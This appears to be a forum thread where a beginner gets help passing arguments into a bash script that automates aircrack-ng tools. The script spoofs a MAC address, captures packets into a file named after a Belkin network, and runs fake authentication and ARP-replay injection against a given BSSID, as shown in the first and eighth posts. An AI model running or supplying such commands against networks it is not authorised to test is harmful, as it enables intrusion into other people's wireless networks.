Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: writing bash script help?

  1. #1
    Junior Member
    Join Date
    Nov 2008
    Posts
    69

    Default writing bash script help?

    Ok, what im trying to do is write a script so i can put an option to put my eee into monitor mode and another one to put it back into managed mode. Also to run fake auth. My problem right now is trying to make it so i can put the fake auth option and the bssid into the command and have it show up in the code below so it can run correct, if that doesnt make sense then i dont know exactly how to explain it. If any one can help it would be greatly appreciated, also if anyone wants to nit pick my code im new to it and dont know exactly what im doing.

    thank you all

    also the code is not nearly done so dont think im done.


    Code:
     #!/bin/bash
    
    
    echo hello welcome to DRK injection/deauth
    echo -i injection
    echo -d deauth
    echo -u undo inject
    
    
    
    if [ x"$1" == "x-i" ]
    
    then 
    airmon-ng stop ath0
    ifconfig wifi0 down
    macchanger --mac 00:11:22:33:44:55 wifi0
    airmon-ng start wifi0
    airodump-ng ath0
    exit
    fi
    
    
    if [ x"$1" == "x-d" ]
    
    then 
    airodump-ng -c 1 -w wep/belkinchop --bssid <bssid> ath0
    exit 
    fi
    
    
    if [ x"$1" == "x-u" ]
    
    then
    airmon-ng stop ath0
    wlanconfig ath0 create wlandev wifi0 wlanmode sta
    iwconfig ath0 essid TRENDnet channel 3 ap 
    ifconfig ath0 up
    
    exit
    fi

  2. #2
    Member
    Join Date
    Jan 2008
    Posts
    194

    Default

    I'm confused by what you mean when you say "fake auth." Are you wanting to do something like airbase-ng functionality?

  3. #3
    Junior Member
    Join Date
    Nov 2008
    Posts
    69

    Default

    Actually in the script I have the fake auth command well i will when i can figure out how to type a line in the option and add it to the line

    Basically i want to be able to run

    ./DRK.sh -d (bssid) and have it run the rest of the code adding (bssid) into

    airodump-ng -c 1 -w wep/belkinchop --bssid (bssid) ath0

    Does that make sense, I know its not fake auth yet im just trying to learn how to add external numbers into a script.

    I hope that makes sense.

  4. #4

    Default

    If you want something like this: ./DRK.sh <bssid>

    then $0 is the name of your file (DRK.sh) and $1 will be the next arg (in this case, the bssid). If you want to add more, the next arg would be $2 and so on.

    So, in your code try: airodump-ng -c 1 -w wep/belkinchop --bssid $1 ath0

  5. #5
    Member
    Join Date
    Jan 2008
    Posts
    194

    Default

    Only thing I see relating to "auth" is "deauth" in your code. That's not the same thing.

    Maybe I'm missing something here. But it looks like you're wanting to specify that you want to do a deauth based on a passed parameter, bssid in this case and then pass that parameter onto other commands as well.

    Virchanza, you know bash, right?

  6. #6
    Member
    Join Date
    Jan 2008
    Posts
    194

    Default

    Quote Originally Posted by cybrsnpr View Post
    If you want something like this: ./DRK.sh <bssid>

    then $0 is the name of your file (DRK.sh) and $1 will be the next arg (in this case, the bssid). If you want to add more, the next arg would be $2 and so on.

    So, in your code try: airodump-ng -c 1 -w wep/belkinchop --bssid $1 ath0
    There ya go...

  7. #7
    Junior Member
    Join Date
    Nov 2008
    Posts
    69

    Default

    Quote Originally Posted by cybrsnpr View Post
    If you want something like this: ./DRK.sh <bssid>

    then $0 is the name of your file (DRK.sh) and $1 will be the next arg (in this case, the bssid). If you want to add more, the next arg would be $2 and so on.

    So, in your code try: airodump-ng -c 1 -w wep/belkinchop --bssid $1 ath0
    Thank you I will try that.
    And thank you berries for the help sorry im so bad at describing it. I guess the script wasnt ready to be looked at yet.

  8. #8
    Junior Member
    Join Date
    Nov 2008
    Posts
    69

    Default

    Ok I tried it and it worked I redid my script tell me what you all think it works pretty good.
    Also I cant get the code button to work sorry for the random tying not being in code.

    #!/bin/bash


    echo hello welcome to DRK injection/deauth
    echo -i injection
    echo -d run bssid scan
    echo -f Fake auth
    echo -u undo inject



    if [ x"$1" == "x-i" ]

    then
    airmon-ng stop ath0
    ifconfig wifi0 down
    macchanger --mac 00:11:22:33:44:55 wifi0
    airmon-ng start wifi0
    airodump-ng ath0
    exit
    fi


    if [ x"$1" == "x-d" ]

    then
    airodump-ng $3 $4 -w wep/belkinchop --bssid $2 ath0
    exit
    fi


    if [ x"$1" == "x-u" ]

    then
    airmon-ng stop ath0
    wlanconfig ath0 create wlandev wifi0 wlanmode sta
    iwconfig ath0 essid $2 channel $3 ap
    ifconfig ath0 up
    exit
    fi


    if [ x"$1" == "x-f" ]

    then
    aireplay-ng -1 0 -a $2 -h 00:11:22:33:44:55 ath0
    aireplay-ng -3 -b $2 -h 00:11:22:33:44:55 ath0
    exit
    fi

  9. #9

    Default

    If it works and you are happy with it, that is all that counts.

    2 observations: I don't think you need all the "x"s in your if statements
    if [ $1 == "-f" ] should work.

    Also, you may want to echo the proper usage at the start of the script, just in case you forget later on:

    echo Usage: $0 <bssid> <optional arg> <optional arg> (fill in your optional args to fit your needs)

  10. #10
    Junior Member
    Join Date
    Nov 2008
    Posts
    69

    Default

    thank you I am always up for help as i said im new and suck at this. I will put them in and edit it thanx again.

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •